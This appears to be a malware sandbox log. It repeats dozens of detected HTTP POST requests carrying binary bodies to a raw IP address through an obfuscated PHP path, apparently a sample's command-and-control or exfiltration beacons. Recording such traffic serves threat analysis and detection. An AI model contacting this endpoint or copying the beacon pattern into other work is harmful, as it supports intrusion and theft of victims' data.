Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1764Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1764Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1044Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1740Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1764Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1764Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1044Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1764Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1764Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1764Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1044Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1752Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1040Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1764Expect: 100-continueConnection: Keep-Alive
